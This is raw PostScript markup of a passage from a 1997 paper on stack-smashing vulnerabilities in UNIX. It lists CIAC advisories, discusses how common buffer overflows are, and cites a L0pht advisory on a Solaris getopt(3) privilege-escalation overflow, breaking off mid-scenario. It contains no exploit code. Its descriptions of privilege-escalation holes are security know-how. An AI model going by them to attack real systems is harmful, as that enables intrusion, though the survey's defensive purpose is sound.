0.0000 1.0000 SET_CMYK GS n 1200 5933 M (HP MPE/iX with ICMP Echo Request \ \(ping\) Vulnerabilities \(H-42\) Released \(03/20/97\) ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 5916 M 1181 5812 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 5916 M 7519 5812 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5828 M (Solaris 2.x eject Buffer Overrun Vulnerabilities \(H-41\) Released \(03/19/97\) ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 5811 M 1181 5707 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 5811 M 7519 5707 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5723 M (DIGITAL Security Vulnerabilities \(DoP, delta-time\) \(H-40\) Released \(03/11/\ 97\)) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 5706 M 1181 5602 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 5706 M 7519 5602 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5618 M (SGI IRIX fsdump Vulnerability \(H-39\) Released \(03/11/97\) ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 5601 M 1181 5497 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 5601 M 7519 5497 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5513 M (Internet Explorer 3.x Vulnerabilities \(H-38a\) Released \(03/10/97\)) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 5496 M 1181 5392 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 5496 M 7519 5392 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5408 M (Solaris 2.x passwd buffer Overrun Vulnerability \(H-37\) Released \(03/04/97\) ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 5391 M 1181 5287 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 5391 M 7519 5287 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5303 M (FedCIRC now has its own Web site. Come visit, there is plenty to see! ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 5286 M 1181 5182 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 5286 M 7519 5182 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5198 M (DOE Awards a contract for a DOS/Windows Antivirus Product) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 5181 M 1181 5077 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 5181 M 7519 5077 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5093 M (1997 FIRST Conference announces a call for papers \(12/12/96\) ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 5076 M 1181 4958 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 5076 M 7519 4958 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4988 M (------------------------------------------------------------------) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 4952 M 7523 4952 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3775 4821 M (CIAC example 3.1.d) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 4552 M (Example ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2396 4552 M (3.1.d ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2829 4552 M (details ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3363 4552 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3537 4552 M (number ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4146 4552 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4385 4552 M (Spring ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4929 4552 M (1997 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5361 4552 M (vulnerability ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6310 4552 M (reports ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6873 4552 M (including ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4276 M (potential ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1847 4276 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2247 4276 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2934 4276 M (holes ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3343 4276 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3530 4276 M (many ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3958 4276 M (popular ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4524 4276 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4998 4276 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5684 4276 M (systems, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6312 4276 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6610 4276 M (various ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7158 4276 M (other ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4000 M (network service utilities and servers.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 3724 M (Based ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2157 3724 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2371 3724 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2622 3724 M (number ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3179 3724 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3366 3724 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3756 3724 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4433 3724 M (advisories ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5156 3724 M (published ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5850 3724 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6064 3724 M (organizations ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7008 3724 M (such ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7361 3724 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3448 M (CERT ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1729 3448 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2060 3448 M (CIAC, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2591 3448 M (it ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2774 3448 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2976 3448 M (not ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3279 3448 M (difficult ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3906 3448 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4126 3448 M (understand ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4947 3448 M (how ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5324 3448 M (common ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5998 3448 M (buffer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6497 3448 M (overflows ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7254 3448 M (are, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3172 M (underscoring ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2113 3172 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2359 3172 M (importance ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3151 3172 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3333 3172 M (investigating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4234 3172 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4480 3172 M (problem. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5162 3172 M (Not ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5454 3172 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5571 3172 M (new ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5891 3172 M (problem ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6489 3172 M (for ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6727 3172 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6973 3172 M (security ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2896 M (community, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2117 2896 M (CERT ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2652 2896 M (advisories ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3436 2896 M (from ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3870 2896 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4118 2896 M (long ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4522 2896 M (ago ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4871 2896 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5119 2896 M (1989 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5560 2896 M (speak ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6048 2896 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6296 2896 M (`buffer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6869 2896 M (o) ST -3 0 MR (v) ST -3 0 MR (e) ST -3 0 MR (r) ST -3 0 MR (f) ST -3 0 MR (l) ST -3 0 MR (o) ST -4 0 MR (w) ST -4 0 MR (' ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2620 M (vulnerabilities) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 2151 2661 M (7) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 2220 2620 M (. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2401 2620 M (Furthermore, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3374 2620 M (some ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3823 2620 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4059 2620 M (these ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4498 2620 M (obsolete ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5149 2620 M (vulnerabilities ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6197 2620 M (describe ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6849 2620 M (old ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7158 2620 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2344 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1932 2344 M (problems ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2650 2344 M (present ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3229 2344 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3456 2344 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3757 2344 M (same ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4198 2344 M (programs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4926 2344 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5264 2344 M (libraries ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5908 2344 M (discussed ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6644 2344 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6871 2344 M (examples ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2068 M (3.1.a-3.1.d. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2075 2068 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2286 2068 M (light ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2662 2068 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2873 2068 M (these ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3287 2068 M (facts, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3716 2068 M (in-depth ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4342 2068 M (investigation ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5272 2068 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5584 2068 M (publicity ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6246 2068 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6457 2068 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6871 2068 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1792 M (vulnerabilities seems essential in addressing modern UNIX security.) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 8 8 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 1200 1426 M (8) 69 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1269 1385 M ( http://www.l0pht.com) 1262 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1271 M (9) 69 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1269 1230 M ( http://www.l0pht.com/advisories.html) 2154 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1644 M (_________________________) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p140000 SETFONT GS n 1200 9823 M (3.2 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 9823 M (Underground Community) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 9540 M (Not ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2076 9540 M (only ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2494 9540 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2821 9540 M (formal ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3389 9540 M (advisories ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4187 9540 M (published ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4956 9540 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5245 9540 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5571 9540 M (academic ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6323 9540 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6686 9540 M (professional ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9264 M (community, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2080 9264 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2499 9264 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3205 9264 M (security ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3809 9264 M (vulnerabilities ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4837 9264 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5118 9264 M (also ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5463 9264 M (well ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5826 9264 M (known ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6355 9264 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6672 9264 M (used ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7054 9264 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 9264 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8988 M (underground ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2093 8988 M (community. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2977 8988 M (For ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3251 8988 M (example, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 3899 8988 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4191 8988 M (L0pht) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 4579 9029 M (8) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 4648 8988 M (, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4732 8988 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4848 8988 M (underground ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5740 8988 M (organization ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6613 8988 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6784 8988 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7029 8988 M (Boston ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8712 M (area ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1532 8712 M (also ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1843 8712 M (publishes ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2514 8712 M (security ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3084 8712 M (incident ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3662 8712 M (advisories, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4422 8712 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4594 8712 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4840 8712 M (same ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5226 8712 M (manner ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5769 8712 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6061 8712 M (CERT ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6530 8712 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6712 8712 M (CIAC ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7153 8712 M (does. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8436 M (Once again, buffer overflow vulnerabilities) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 4081 8477 M (9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 4150 8436 M ( are a common thread:) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 8064 M 7523 8064 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 8059 M 1181 7851 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 8059 M 7519 7851 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont4p80000 SETFONT GS n 1200 7956 M (http://www.l0pht.com/advisories.html) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7850 M 1181 7663 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7850 M 7519 7663 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p80000 SETFONT GS n 1200 7762 M (Author: mudge@l0pht.com) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7662 M 1181 7475 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7662 M 7519 7475 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7574 M (Release) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2200 7574 M (Application) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3700 7574 M (Platforms) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4700 7574 M (Severity) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7474 M 1181 7287 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7474 M 7519 7287 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7386 M ( 1/14/97 Dynamically linked) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4700 7386 M (Users can exploit a proble, in) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7286 M 1181 7099 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7286 M 7519 7099 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7198 M ( SUID programs calling) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4700 7198 M (Solaris SUID programs that use) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7098 M 1181 6911 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7098 M 7519 6911 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7010 M ( getopt\(3\) Solaris OS) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4700 7010 M (getopt\(3\) to obtain elevated) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 6910 M 1181 6723 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 6910 M 7519 6723 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4700 6822 M (privileges) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 6722 M 1181 6480 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 6722 M 7519 6480 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 6479 M 1181 6292 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 6479 M 7519 6292 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6391 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1286 6391 M (Scenario: ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1965 6391 M (A ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2108 6391 M (buffer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2586 6391 M (overflow ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3198 6391 M (condition ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3877 6391 M (exists ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4355 6391 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4565 6391 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4842 6391 M (getopt ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5320 6391 M (routine. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5932 6391 M (By ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6142 6391 M (supplying ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6821 6391 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7031 6391 M (invalid ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 6291 M 1181 6104 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 6291 M 7519 6104 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6203 M (option ) ST GR 0.0000 0.0000 0.0000 